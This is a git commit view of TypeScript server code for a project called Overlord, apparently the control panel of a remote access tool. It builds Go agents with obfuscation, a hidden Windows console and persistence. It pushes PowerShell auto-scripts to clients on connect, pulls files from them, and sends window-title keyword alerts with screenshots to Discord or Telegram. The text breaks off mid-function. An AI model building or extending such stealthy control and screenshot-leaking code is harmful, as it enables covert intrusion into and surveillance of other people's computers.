inital commit

This commit is contained in:
KingKDot
2026-03-05 00:04:26 -06:00
commit f8515a2883
269 changed files with 47081 additions and 0 deletions
+33
View File
@@ -0,0 +1,33 @@
import { logger } from "../logger";
export function isAuthorizedAgentRequest(
req: Request,
url: URL,
agentToken?: string,
): boolean {
const disableAuth =
String(process.env.OVERLORD_DISABLE_AGENT_AUTH || "").toLowerCase() ===
"true";
if (disableAuth) {
logger.info("[auth] Agent auth explicitly disabled by OVERLORD_DISABLE_AGENT_AUTH=true");
return true;
}
const token = agentToken?.trim();
if (!token) {
logger.info("[auth] Agent auth disabled");
return true;
}
const headerToken = req.headers.get("x-agent-token");
const queryToken = url.searchParams.get("token");
const isAuthed = headerToken === token || queryToken === token;
if (!isAuthed) {
logger.info("[auth] Agent auth failed");
} else {
logger.info("[auth] Agent authenticated successfully");
}
return isAuthed;
}
@@ -0,0 +1,79 @@
import type { ServerWebSocket } from "bun";
import { v4 as uuidv4 } from "uuid";
import { hasAutoScriptRun, getAutoScriptsByTrigger, recordAutoScriptRun } from "../db";
import { logger } from "../logger";
import { metrics } from "../metrics";
import { encodeMessage } from "../protocol";
import type { SocketData } from "../sessions/types";
import type { ClientInfo } from "../types";
import { logAudit, AuditAction } from "../auditLog";
import { ALLOWED_SCRIPT_TYPES } from "./validation-constants";
export function dispatchAutoScriptsForConnection(
info: ClientInfo,
ws: ServerWebSocket<SocketData>,
): void {
if (info.role !== "client") return;
if (ws.data?.autoTasksRan) return;
const isNewClient = ws.data?.wasKnown === false;
const onConnect = getAutoScriptsByTrigger("on_connect");
const onFirst = isNewClient ? getAutoScriptsByTrigger("on_first_connect") : [];
const onConnectOnce = getAutoScriptsByTrigger("on_connect_once");
const scripts = [...onConnect, ...onFirst, ...onConnectOnce];
if (scripts.length === 0) {
ws.data.autoTasksRan = true;
return;
}
for (const script of scripts) {
if (script.trigger === "on_connect_once") {
if (hasAutoScriptRun(script.id, info.id)) {
continue;
}
recordAutoScriptRun(script.id, info.id);
}
const scriptType = ALLOWED_SCRIPT_TYPES.has(script.scriptType)
? script.scriptType
: "powershell";
const cmdId = uuidv4();
try {
info.ws.send(
encodeMessage({
type: "command",
commandType: "script_exec" as any,
id: cmdId,
payload: { script: script.script, type: scriptType },
}),
);
metrics.recordCommand("script_exec");
logAudit({
timestamp: Date.now(),
username: "system",
ip: "server",
action: AuditAction.SCRIPT_EXECUTE,
targetClientId: info.id,
success: true,
details: `auto:${script.name} (${scriptType}) trigger=${script.trigger}`,
});
logger.info(`[auto-script] dispatched ${script.id} (${script.trigger}) to ${info.id}`);
} catch (err) {
logger.warn(`[auto-script] failed to dispatch ${script.id} to ${info.id}`, err);
logAudit({
timestamp: Date.now(),
username: "system",
ip: "server",
action: AuditAction.SCRIPT_EXECUTE,
targetClientId: info.id,
success: false,
details: `auto:${script.name} (${scriptType}) trigger=${script.trigger}`,
errorMessage: (err as Error)?.message || "send failed",
});
}
}
ws.data.autoTasksRan = true;
}
+267
View File
@@ -0,0 +1,267 @@
import { $ } from "bun";
import path from "path";
import fs from "fs";
import { saveBuild } from "../db";
import { logger } from "../logger";
import { getConfig } from "../config";
import * as buildManager from "../build/buildManager";
import type { BuildStream } from "../build/types";
import { ALLOWED_PLATFORMS } from "./validation-constants";
import { resolveRuntimeRoot } from "./runtime-paths";
type BuildProcessConfig = {
platforms: string[];
serverUrl?: string;
rawServerList?: boolean;
mutex?: string;
disableMutex?: boolean;
stripDebug?: boolean;
disableCgo?: boolean;
obfuscate?: boolean;
enablePersistence?: boolean;
hideConsole?: boolean;
noPrinting?: boolean;
};
type BuildProcessDeps = {
generateBuildMutex: (length?: number) => string;
sanitizeOutputName: (name: string) => string;
};
export async function startBuildProcess(
buildId: string,
config: BuildProcessConfig,
deps: BuildProcessDeps,
): Promise<void> {
const SEVEN_DAYS_MS = 7 * 24 * 60 * 60 * 1000;
const now = Date.now();
const build: BuildStream = {
id: buildId,
controllers: [],
status: "running",
startTime: now,
expiresAt: now + SEVEN_DAYS_MS,
files: [],
};
buildManager.addBuildStream(buildId, build);
const sendToStream = (data: any) => {
const encoder = new TextEncoder();
const message = `data: ${JSON.stringify(data)}\n\n`;
const encoded = encoder.encode(message);
if (data.type === "output") {
logger.info(`[build:${buildId.substring(0, 8)}] ${data.text.trimEnd()}`);
} else if (data.type === "status") {
logger.info(`[build:${buildId.substring(0, 8)}] STATUS: ${data.text}`);
} else if (data.type === "error") {
logger.error(`[build:${buildId.substring(0, 8)}] ERROR: ${data.error}`);
}
build.controllers.forEach((controller) => {
try {
controller.enqueue(encoded);
} catch (err) {
logger.error("[build] Failed to send to stream:", err);
}
});
};
try {
const serverConfig = getConfig();
const buildAgentToken = (serverConfig.auth.agentToken || "").trim();
sendToStream({ type: "status", text: "Preparing build environment..." });
try {
const goCheck = await $`go version`.quiet();
const goVersion = goCheck.stdout.toString().trim();
logger.info(`[build:${buildId.substring(0, 8)}] Using ${goVersion}`);
sendToStream({ type: "output", text: `Using ${goVersion}\n`, level: "info" });
} catch {
const errorMsg = "Go is not installed or not in PATH. Please install Go from https://golang.org/dl/ and ensure it's in your system PATH.";
logger.error(`[build:${buildId.substring(0, 8)}] ${errorMsg}`);
sendToStream({ type: "output", text: `ERROR: ${errorMsg}\n`, level: "error" });
sendToStream({ type: "error", error: errorMsg });
sendToStream({ type: "complete", success: false });
build.status = "failed";
return;
}
const rootDir = resolveRuntimeRoot();
const distClientDir = path.join(rootDir, "dist", "Overlord-Client");
const clientDir = fs.existsSync(distClientDir)
? distClientDir
: path.join(rootDir, "Overlord-Client");
const outDir = path.join(rootDir, "dist-clients");
await Bun.$`mkdir -p ${outDir}`.quiet();
sendToStream({ type: "output", text: `Build directory: ${outDir}\n`, level: "info" });
const platformsToBuild = (config.platforms || []).filter((p) => ALLOWED_PLATFORMS.has(p));
if (platformsToBuild.length !== (config.platforms || []).length) {
throw new Error("One or more requested platforms are not allowed");
}
let buildMutex = "";
if (!config.disableMutex) {
buildMutex = config.mutex || deps.generateBuildMutex();
sendToStream({ type: "output", text: `Mutex: ${buildMutex}\n`, level: "info" });
} else {
sendToStream({ type: "output", text: "Mutex: disabled\n", level: "info" });
}
for (const platform of platformsToBuild) {
const [os, arch, ...rest] = platform.split("-");
const goarm = rest[0] === "armv7" ? "7" : undefined;
const actualArch = goarm ? "arm" : arch;
const outputName = deps.sanitizeOutputName(
platform.includes("windows") ? `agent-${platform}.exe` : `agent-${platform}`,
);
sendToStream({ type: "status", text: `Building ${platform}...` });
sendToStream({ type: "output", text: `\n=== Building ${platform} ===\n`, level: "info" });
const env = {
...process.env,
GOOS: os,
GOARCH: actualArch,
CGO_ENABLED: config.disableCgo !== false ? "0" : "1",
GOWORK: "off",
...(goarm ? { GOARM: goarm } : {}),
};
let ldflags = config.stripDebug !== false ? "-s -w" : "";
if (config.serverUrl) {
const serverFlag = `-X overlord-client/cmd/agent/config.DefaultServerURL=${config.serverUrl}`;
ldflags = `${ldflags} ${serverFlag}`;
sendToStream({ type: "output", text: `Server URL: ${config.serverUrl}\n`, level: "info" });
}
if (config.rawServerList) {
const rawServerFlag = "-X overlord-client/cmd/agent/config.DefaultServerURLIsRaw=true";
ldflags = ldflags ? `${ldflags} ${rawServerFlag}` : rawServerFlag;
sendToStream({ type: "output", text: "Raw server list: enabled\n", level: "info" });
}
if (buildMutex) {
const mutexFlag = `-X overlord-client/cmd/agent/config.DefaultMutex=${buildMutex}`;
ldflags = ldflags ? `${ldflags} ${mutexFlag}` : mutexFlag;
}
if (config.enablePersistence) {
const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true";
ldflags = ldflags ? `${ldflags} ${persistenceFlag}` : persistenceFlag;
sendToStream({ type: "output", text: `Persistence enabled for ${platform}\n`, level: "info" });
}
if (buildAgentToken) {
const agentTokenFlag = `-X overlord-client/cmd/agent/config.DefaultAgentToken=${buildAgentToken}`;
ldflags = ldflags ? `${ldflags} ${agentTokenFlag}` : agentTokenFlag;
}
if (config.hideConsole && os === "windows") {
const hideConsoleFlag = "-H=windowsgui";
ldflags = ldflags ? `${ldflags} ${hideConsoleFlag}` : hideConsoleFlag;
sendToStream({ type: "output", text: "Windows console hidden (GUI subsystem)\n", level: "info" });
}
if (config.obfuscate) {
sendToStream({ type: "output", text: "Obfuscation enabled (garble)\n", level: "info" });
}
if (config.noPrinting) {
sendToStream({ type: "output", text: "Client printing disabled (noprint tag)\n", level: "info" });
}
try {
const buildTool = config.obfuscate ? "garble" : "go";
const tagArg = config.noPrinting ? "-tags noprint " : "";
logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`);
logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${os} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED}`);
const buildCmd = config.obfuscate
? (config.noPrinting
? (ldflags
? $`garble build -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
: $`garble build -tags noprint -o ${outDir}/${outputName} ./cmd/agent`)
: (ldflags
? $`garble build -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
: $`garble build -o ${outDir}/${outputName} ./cmd/agent`))
: (config.noPrinting
? (ldflags
? $`go build -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
: $`go build -tags noprint -o ${outDir}/${outputName} ./cmd/agent`)
: (ldflags
? $`go build -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
: $`go build -o ${outDir}/${outputName} ./cmd/agent`));
const proc = buildCmd.env(env).cwd(clientDir).nothrow();
for await (const line of proc.lines()) {
sendToStream({ type: "output", text: line + "\n", level: "info" });
}
const result = await proc;
logger.info(`[build:${buildId.substring(0, 8)}] Process exited with code: ${result.exitCode}`);
if (result.exitCode !== 0) {
const stderrText = result.stderr.toString();
if (stderrText) {
sendToStream({ type: "output", text: stderrText, level: "error" });
}
const errorMsg = `Build failed with exit code ${result.exitCode}\n`;
sendToStream({ type: "output", text: errorMsg, level: "error" });
throw new Error(`Build failed for ${platform}`);
}
const filePath = `${outDir}/${outputName}`;
const file = Bun.file(filePath);
const size = file.size;
(build.files as any[]).push({
name: outputName,
filename: outputName,
platform,
size,
});
} catch (err: any) {
const errorMsg = `Γ£ù Failed to build ${platform}: ${err.message || err}\n`;
logger.error(`[build:${buildId.substring(0, 8)}] ${errorMsg.trim()}`);
sendToStream({ type: "output", text: errorMsg, level: "error" });
throw err;
}
}
build.status = "completed";
logger.info(`[build:${buildId.substring(0, 8)}] Build completed successfully! Built ${build.files.length} file(s)`);
sendToStream({ type: "output", text: `\nΓ£ô Build completed successfully!\n`, level: "success" });
sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt });
saveBuild({
id: build.id,
status: build.status,
startTime: build.startTime,
expiresAt: build.expiresAt,
files: build.files as any,
});
setTimeout(() => {
logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up expired build`);
buildManager.deleteBuildStream(buildId);
}, SEVEN_DAYS_MS);
} catch (err: any) {
build.status = "failed";
logger.error(`[build:${buildId.substring(0, 8)}] Build failed:`, err);
sendToStream({ type: "error", error: err.message || String(err) });
sendToStream({ type: "complete", success: false, buildId });
setTimeout(() => {
logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up failed build stream`);
buildManager.deleteBuildStream(buildId);
}, 60 * 60 * 1000);
}
}
+30
View File
@@ -0,0 +1,30 @@
import path from "path";
const MUTEX_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._-";
export function generateBuildMutex(length = 24): string {
const bytes = new Uint8Array(length);
crypto.getRandomValues(bytes);
return Array.from(bytes)
.map((b) => MUTEX_CHARS[b % MUTEX_CHARS.length])
.join("");
}
export function sanitizeMutex(value?: string): string | undefined {
if (!value) return undefined;
const trimmed = value.trim();
if (!trimmed) return undefined;
if (!/^[A-Za-z0-9._-]{1,64}$/.test(trimmed)) {
throw new Error("Mutex must be 1-64 chars using letters, numbers, '.', '_' or '-' only");
}
return trimmed;
}
export function sanitizeOutputName(name: string): string {
const base = path.basename(name);
const cleaned = base.replace(/[^A-Za-z0-9._-]/g, "");
if (!cleaned || cleaned !== base) {
throw new Error("Invalid output filename");
}
return cleaned;
}
@@ -0,0 +1,44 @@
export type DeployOs = "windows" | "mac" | "linux" | "unix" | "unknown";
export function normalizeClientOs(os?: string): DeployOs {
const val = String(os || "").toLowerCase();
if (val.includes("windows")) return "windows";
if (val.includes("darwin") || val.includes("mac")) return "mac";
if (val.includes("linux")) return "linux";
return "unknown";
}
export function detectUploadOs(filename: string, bytes: Uint8Array): DeployOs {
const lower = filename.toLowerCase();
if (lower.endsWith(".exe") || lower.endsWith(".msi") || lower.endsWith(".bat") || lower.endsWith(".cmd") || lower.endsWith(".ps1")) {
return "windows";
}
if (lower.endsWith(".dmg") || lower.endsWith(".pkg") || lower.endsWith(".app")) {
return "mac";
}
if (lower.endsWith(".sh")) {
return "unix";
}
if (lower.endsWith(".run")) {
return "linux";
}
if (bytes.length >= 4) {
const b0 = bytes[0];
const b1 = bytes[1];
const b2 = bytes[2];
const b3 = bytes[3];
if (b0 === 0x4d && b1 === 0x5a) return "windows";
if (b0 === 0x7f && b1 === 0x45 && b2 === 0x4c && b3 === 0x46) return "linux";
const magic = (b0 << 24) | (b1 << 16) | (b2 << 8) | b3;
if (magic === 0xfeedface || magic === 0xfeedfacf || magic === 0xcefaedfe || magic === 0xcafebabe) {
return "mac";
}
}
if (bytes.length >= 2 && bytes[0] === 0x23 && bytes[1] === 0x21) {
return "unix";
}
return "unknown";
}
+141
View File
@@ -0,0 +1,141 @@
type MaybeResponse = Response | null;
type RouteHandler = (req: Request, url: URL) => Promise<MaybeResponse>;
type RouteHandlerWithServer<TServer> = (
req: Request,
url: URL,
server: TServer,
) => Promise<MaybeResponse>;
type RouteHandlerWithServerDeps<TServer, TDeps> = (
req: Request,
url: URL,
server: TServer,
deps: TDeps,
) => Promise<MaybeResponse>;
type RouteHandlerWithDeps<TDeps> = (
req: Request,
url: URL,
deps: TDeps,
) => Promise<MaybeResponse>;
type HttpDispatchDeps<
TServer,
TNotificationsConfig,
TBuild,
TDeploy,
TFileDownload,
TPlugin,
TMisc,
TAssets,
TPage,
TClient,
TWsUpgrade,
> = {
metrics: { withHttpMetrics: (fn: () => Promise<Response>) => Promise<Response> };
CORS_HEADERS: Record<string, string>;
handleAuthRoutes: RouteHandlerWithServer<TServer>;
handleNotificationsConfigRoutes: RouteHandlerWithServerDeps<TServer, TNotificationsConfig>;
handleAutoScriptsRoutes: RouteHandler;
handleUsersRoutes: RouteHandlerWithServer<TServer>;
handleBuildRoutes: RouteHandlerWithServerDeps<TServer, TBuild>;
handleDeployRoutes: RouteHandlerWithServerDeps<TServer, TDeploy>;
handleFileDownloadRoutes: RouteHandlerWithServerDeps<TServer, TFileDownload>;
handlePluginRoutes: RouteHandlerWithDeps<TPlugin>;
handleMiscRoutes: RouteHandlerWithDeps<TMisc>;
handleAssetsRoutes: RouteHandlerWithDeps<TAssets>;
handlePageRoutes: RouteHandlerWithDeps<TPage>;
handleClientRoutes: RouteHandlerWithServerDeps<TServer, TClient>;
handleWsUpgradeRoutes: RouteHandlerWithServerDeps<TServer, TWsUpgrade>;
routeDeps: {
notificationsConfig: TNotificationsConfig;
build: TBuild;
deploy: TDeploy;
fileDownload: TFileDownload;
plugin: TPlugin;
misc: TMisc;
assets: TAssets;
page: TPage;
client: TClient;
wsUpgrade: TWsUpgrade;
};
};
export function createHttpFetchHandler<
TServer,
TNotificationsConfig,
TBuild,
TDeploy,
TFileDownload,
TPlugin,
TMisc,
TAssets,
TPage,
TClient,
TWsUpgrade,
>(
deps: HttpDispatchDeps<
TServer,
TNotificationsConfig,
TBuild,
TDeploy,
TFileDownload,
TPlugin,
TMisc,
TAssets,
TPage,
TClient,
TWsUpgrade
>,
) {
return async function fetchHandler(req: Request, server: unknown): Promise<Response> {
return deps.metrics.withHttpMetrics(async () => {
const routeServer = server as TServer;
const url = new URL(req.url);
if (req.method === "OPTIONS") {
return new Response("", { headers: deps.CORS_HEADERS });
}
const authRouteResponse = await deps.handleAuthRoutes(req, url, routeServer);
if (authRouteResponse) return authRouteResponse;
const notificationsConfigResponse = await deps.handleNotificationsConfigRoutes(req, url, routeServer, deps.routeDeps.notificationsConfig);
if (notificationsConfigResponse) return notificationsConfigResponse;
const autoScriptsResponse = await deps.handleAutoScriptsRoutes(req, url);
if (autoScriptsResponse) return autoScriptsResponse;
const usersResponse = await deps.handleUsersRoutes(req, url, routeServer);
if (usersResponse) return usersResponse;
const buildResponse = await deps.handleBuildRoutes(req, url, routeServer, deps.routeDeps.build);
if (buildResponse) return buildResponse;
const deployResponse = await deps.handleDeployRoutes(req, url, routeServer, deps.routeDeps.deploy);
if (deployResponse) return deployResponse;
const fileDownloadResponse = await deps.handleFileDownloadRoutes(req, url, routeServer, deps.routeDeps.fileDownload);
if (fileDownloadResponse) return fileDownloadResponse;
const pluginResponse = await deps.handlePluginRoutes(req, url, deps.routeDeps.plugin);
if (pluginResponse) return pluginResponse;
const miscResponse = await deps.handleMiscRoutes(req, url, deps.routeDeps.misc);
if (miscResponse) return miscResponse;
const assetsResponse = await deps.handleAssetsRoutes(req, url, deps.routeDeps.assets);
if (assetsResponse) return assetsResponse;
const pageResponse = await deps.handlePageRoutes(req, url, deps.routeDeps.page);
if (pageResponse) return pageResponse;
const clientRouteResponse = await deps.handleClientRoutes(req, url, routeServer, deps.routeDeps.client);
if (clientRouteResponse) return clientRouteResponse;
const wsUpgradeResponse = await deps.handleWsUpgradeRoutes(req, url, routeServer, deps.routeDeps.wsUpgrade);
if (wsUpgradeResponse) return wsUpgradeResponse;
return new Response("Not found", { status: 404 });
});
};
}
@@ -0,0 +1,160 @@
import fs from "fs/promises";
import type { FileHandle } from "fs/promises";
import { logger } from "../logger";
export type PendingHttpDownload = {
commandId: string;
clientId: string;
path: string;
fileName: string;
total: number;
receivedBytes: number;
receivedOffsets: Set<number>;
receivedChunks: Set<number>;
chunkSize: number;
expectedChunks: number;
loggedTotal?: boolean;
loggedFirstChunk?: boolean;
tmpPath: string;
fileHandle: FileHandle;
resolve: (entry: PendingHttpDownload) => void;
reject: (error: Error) => void;
timeout: ReturnType<typeof setTimeout>;
};
export async function consumeHttpDownloadPayload(
payload: any,
pendingHttpDownloads: Map<string, PendingHttpDownload>,
): Promise<void> {
const commandId = typeof payload?.commandId === "string" ? payload.commandId : "";
if (!commandId) return;
const pending = pendingHttpDownloads.get(commandId);
if (!pending) return;
if (payload?.error) {
clearTimeout(pending.timeout);
pendingHttpDownloads.delete(commandId);
try {
await pending.fileHandle.close();
} catch {}
try {
await fs.unlink(pending.tmpPath);
} catch {}
pending.reject(new Error(String(payload.error)));
return;
}
const toNumber = (value: unknown): number | null => {
if (typeof value === "number" && Number.isFinite(value)) return value;
if (typeof value === "bigint") {
const asNumber = Number(value);
if (Number.isSafeInteger(asNumber)) return asNumber;
}
return null;
};
const rawTotal = payload?.total;
if (!pending.total) {
const total = toNumber(rawTotal);
if (total && total > 0) {
pending.total = total;
}
}
if (pending.total > 0 && !pending.loggedTotal) {
pending.loggedTotal = true;
logger.debug("[filebrowser] http download total", {
commandId,
total: pending.total,
rawTotalType: typeof rawTotal,
});
}
if (payload?.data) {
let data = payload.data;
if (data instanceof ArrayBuffer) {
data = new Uint8Array(data);
} else if (typeof data === "string") {
data = Uint8Array.from(atob(data), (c) => c.charCodeAt(0));
} else if (ArrayBuffer.isView(data)) {
data = new Uint8Array(data.buffer, data.byteOffset, data.byteLength);
}
if (data instanceof Uint8Array) {
const offset = toNumber(payload?.offset);
const chunkIndex = toNumber(payload?.chunkIndex);
const chunksTotal = toNumber(payload?.chunksTotal);
if (offset === null) {
logger.debug("[filebrowser] http download missing offset", {
commandId,
rawOffsetType: typeof payload?.offset,
});
}
if (!pending.chunkSize && data.length > 0) {
pending.chunkSize = data.length;
}
if (pending.expectedChunks === 0) {
if (chunksTotal && chunksTotal > 0) {
pending.expectedChunks = chunksTotal;
} else if (pending.total > 0 && pending.chunkSize > 0) {
pending.expectedChunks = Math.ceil(pending.total / pending.chunkSize);
}
}
if (!pending.loggedFirstChunk) {
pending.loggedFirstChunk = true;
logger.debug("[filebrowser] http download first chunk", {
commandId,
size: data.length,
offset,
chunkIndex,
chunksTotal,
expectedChunks: pending.expectedChunks,
});
}
const shouldWrite = chunkIndex !== null
? !pending.receivedChunks.has(chunkIndex)
: !pending.receivedOffsets.has(offset ?? 0);
if (shouldWrite) {
try {
await pending.fileHandle.write(data, 0, data.length, offset ?? 0);
} catch (err) {
clearTimeout(pending.timeout);
pendingHttpDownloads.delete(commandId);
try {
await pending.fileHandle.close();
} catch {}
try {
await fs.unlink(pending.tmpPath);
} catch {}
pending.reject(err as Error);
return;
}
if (chunkIndex !== null) {
pending.receivedChunks.add(chunkIndex);
} else {
pending.receivedOffsets.add(offset ?? 0);
}
pending.receivedBytes += data.length;
}
}
}
const receivedChunkCount = pending.receivedChunks.size + pending.receivedOffsets.size;
const hasAllChunks = pending.expectedChunks > 0
? receivedChunkCount >= pending.expectedChunks
: pending.total > 0 && pending.receivedBytes >= pending.total;
if ((pending.total > 0 ? pending.receivedBytes >= pending.total : hasAllChunks && pending.receivedBytes > 0) && hasAllChunks) {
clearTimeout(pending.timeout);
pendingHttpDownloads.delete(commandId);
try {
await pending.fileHandle.close();
} catch {}
pending.resolve(pending);
}
}
@@ -0,0 +1,13 @@
export const CORS_HEADERS = {
"Access-Control-Allow-Origin": "*",
"Access-Control-Allow-Methods": "GET,OPTIONS",
"Access-Control-Allow-Headers": "Content-Type",
};
export const SECURITY_HEADERS = {
"Content-Security-Policy": "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net https://cdnjs.cloudflare.com https://unpkg.com; style-src 'self' 'unsafe-inline' https://cdnjs.cloudflare.com https://cdn.jsdelivr.net https://fonts.googleapis.com; img-src 'self' data: blob: https://cdn.jsdelivr.net https://a.tile.openstreetmap.org https://b.tile.openstreetmap.org https://c.tile.openstreetmap.org https://tile.openstreetmap.org https://a.basemaps.cartocdn.com https://b.basemaps.cartocdn.com https://c.basemaps.cartocdn.com https://d.basemaps.cartocdn.com; font-src 'self' https://cdnjs.cloudflare.com https://cdn.jsdelivr.net https://fonts.gstatic.com; connect-src 'self' wss: ws: https://cdn.jsdelivr.net",
"X-Content-Type-Options": "nosniff",
"X-Frame-Options": "DENY",
"X-XSS-Protection": "1; mode=block",
"Referrer-Policy": "strict-origin-when-cross-origin",
};
+27
View File
@@ -0,0 +1,27 @@
import { SECURITY_HEADERS } from "./http-security";
export function secureHeaders(contentType?: string) {
return {
...SECURITY_HEADERS,
...(contentType ? { "Content-Type": contentType } : {}),
};
}
export function securePluginHeaders() {
return {
...SECURITY_HEADERS,
"X-Frame-Options": "SAMEORIGIN",
"Content-Security-Policy": "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'none'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'",
};
}
export function mimeType(path: string) {
if (path.endsWith(".html")) return "text/html; charset=utf-8";
if (path.endsWith(".css")) return "text/css; charset=utf-8";
if (path.endsWith(".js")) return "text/javascript; charset=utf-8";
if (path.endsWith(".json")) return "application/json";
if (path.endsWith(".png")) return "image/png";
if (path.endsWith(".jpg") || path.endsWith(".jpeg")) return "image/jpeg";
if (path.endsWith(".webp")) return "image/webp";
return "application/octet-stream";
}
@@ -0,0 +1,51 @@
import { logger } from "../logger";
import { sendPingRequest } from "../wsHandlers";
import type { ClientInfo } from "../types";
import { pruneStaleClients } from "./stale-prune";
type StartMaintenanceParams = {
getClients: () => Map<string, ClientInfo>;
setOnlineState: (id: string, online: boolean) => void;
deleteClient: (id: string) => void;
staleMs: number;
pruneBatch: number;
heartbeatIntervalMs: number;
disconnectTimeoutMs: number;
};
export function startMaintenanceLoops(params: StartMaintenanceParams): void {
setInterval(() => {
pruneStaleClients({
clients: params.getClients(),
staleMs: params.staleMs,
pruneBatch: params.pruneBatch,
setOnlineState: params.setOnlineState,
deleteClient: params.deleteClient,
});
}, 5000);
setInterval(() => {
const now = Date.now();
for (const [id, info] of params.getClients().entries()) {
if (info.role !== "client") continue;
if (
info.lastPingNonce !== undefined &&
info.lastPingSent &&
now - info.lastPingSent > params.heartbeatIntervalMs + params.disconnectTimeoutMs
) {
logger.warn(`[ping] no pong from ${id} within timeout; closing socket`);
try {
info.ws.close(4001, "ping timeout");
} catch (err) {
logger.debug(`[ping] close failed for ${id}`, err);
}
continue;
}
try {
sendPingRequest(info, info.ws, "heartbeat");
} catch (err) {
logger.debug(`[ping] heartbeat failed for ${id}`, err);
}
}
}, params.heartbeatIntervalMs);
}
@@ -0,0 +1,214 @@
import { v4 as uuidv4 } from "uuid";
import {
getNotificationScreenshot,
saveNotificationScreenshot,
type NotificationScreenshotRecord,
} from "../db";
import { logger } from "../logger";
export type NotificationRecord = {
id: string;
clientId: string;
host?: string;
user?: string;
os?: string;
title: string;
process?: string;
processPath?: string;
pid?: number;
keyword?: string;
category: "active_window";
ts: number;
screenshotId?: string;
};
export type PendingNotificationScreenshot = {
notificationId: string;
clientId: string;
ts: number;
timeout: NodeJS.Timeout;
};
const NOTIFICATION_SCREENSHOT_WAIT_MS = 5_000;
const NOTIFICATION_SCREENSHOT_POLL_MS = 250;
function getScreenshotMeta(format: string | undefined): { contentType: string; ext: string } {
const normalized = (format || "jpeg").toLowerCase();
if (normalized === "png") return { contentType: "image/png", ext: "png" };
if (normalized === "webp") return { contentType: "image/webp", ext: "webp" };
if (normalized === "jpg" || normalized === "jpeg") return { contentType: "image/jpeg", ext: "jpg" };
return { contentType: "application/octet-stream", ext: "bin" };
}
async function waitForNotificationScreenshot(
notificationId: string,
timeoutMs = NOTIFICATION_SCREENSHOT_WAIT_MS,
): Promise<NotificationScreenshotRecord | null> {
const start = Date.now();
while (Date.now() - start < timeoutMs) {
const screenshot = getNotificationScreenshot(notificationId);
if (screenshot) return screenshot;
await new Promise<void>((resolve) => setTimeout(resolve, NOTIFICATION_SCREENSHOT_POLL_MS));
}
return null;
}
export function takePendingNotificationScreenshot(
pendingNotificationScreenshots: Map<string, PendingNotificationScreenshot>,
clientId: string,
): PendingNotificationScreenshot | null {
for (const [commandId, pending] of pendingNotificationScreenshots.entries()) {
if (pending.clientId !== clientId) continue;
clearTimeout(pending.timeout);
pendingNotificationScreenshots.delete(commandId);
return pending;
}
return null;
}
export function storeNotificationScreenshot(
notificationHistory: NotificationRecord[],
pending: PendingNotificationScreenshot,
bytes: Uint8Array,
format: string,
width?: number,
height?: number,
): void {
if (!bytes || bytes.length === 0) return;
const screenshotId = uuidv4();
saveNotificationScreenshot({
id: screenshotId,
notificationId: pending.notificationId,
clientId: pending.clientId,
ts: pending.ts,
format,
width,
height,
bytes,
});
const record = notificationHistory.find((item) => item.id === pending.notificationId);
if (record) {
record.screenshotId = screenshotId;
}
}
async function postNotificationWebhook(
record: NotificationRecord,
getNotificationConfig: () => any,
screenshot?: NotificationScreenshotRecord | null,
): Promise<void> {
const config = getNotificationConfig();
if (!config.webhookEnabled) return;
const url = (config.webhookUrl || "").trim();
if (!url) return;
try {
const parsed = new URL(url);
if (!/^https?:$/.test(parsed.protocol)) {
return;
}
} catch {
return;
}
try {
const isDiscord = /discord(app)?\.com$/i.test(new URL(url).hostname);
if (isDiscord) {
const embed: Record<string, any> = {
title: record.keyword ? `Keyword: ${record.keyword}` : "Active Window",
description: record.title,
fields: [
{ name: "Client", value: record.clientId || "unknown", inline: true },
{ name: "User", value: record.user || "unknown", inline: true },
{ name: "Host", value: record.host || "unknown", inline: true },
{ name: "Process", value: record.process || "unknown", inline: true },
],
timestamp: new Date(record.ts).toISOString(),
};
const payload: Record<string, any> = {
content: `🔔 Notification: ${record.title}`,
embeds: [embed],
};
if (screenshot?.bytes?.length) {
const meta = getScreenshotMeta(screenshot.format);
const filename = `notification-${record.id}.${meta.ext}`;
embed.image = { url: `attachment://${filename}` };
const form = new FormData();
form.append("payload_json", JSON.stringify(payload));
form.append(
"files[0]",
new Blob([screenshot.bytes as any], { type: meta.contentType }),
filename,
);
await fetch(url, { method: "POST", body: form });
return;
}
await fetch(url, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(payload),
});
return;
}
const payload = { type: "notification", data: record };
await fetch(url, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(payload),
});
} catch (err) {
logger.warn("[notify] webhook delivery failed", err);
}
}
async function postTelegramNotification(
record: NotificationRecord,
getNotificationConfig: () => any,
screenshot?: NotificationScreenshotRecord | null,
): Promise<void> {
const config = getNotificationConfig();
if (!config.telegramEnabled) return;
const token = (config.telegramBotToken || "").trim();
const chatId = (config.telegramChatId || "").trim();
if (!token || !chatId) return;
const text = `🔔 Notification\nTitle: ${record.title}\nKeyword: ${record.keyword || "-"}\nClient: ${record.clientId}\nUser: ${record.user || "unknown"}\nHost: ${record.host || "unknown"}\nProcess: ${record.process || "unknown"}`;
try {
if (screenshot?.bytes?.length) {
const meta = getScreenshotMeta(screenshot.format);
const filename = `notification-${record.id}.${meta.ext}`;
const form = new FormData();
form.append("chat_id", chatId);
form.append("caption", text);
form.append("photo", new Blob([screenshot.bytes as any], { type: meta.contentType }), filename);
const url = `https://api.telegram.org/bot${token}/sendPhoto`;
await fetch(url, { method: "POST", body: form });
return;
}
const url = `https://api.telegram.org/bot${token}/sendMessage`;
await fetch(url, {
method: "POST",
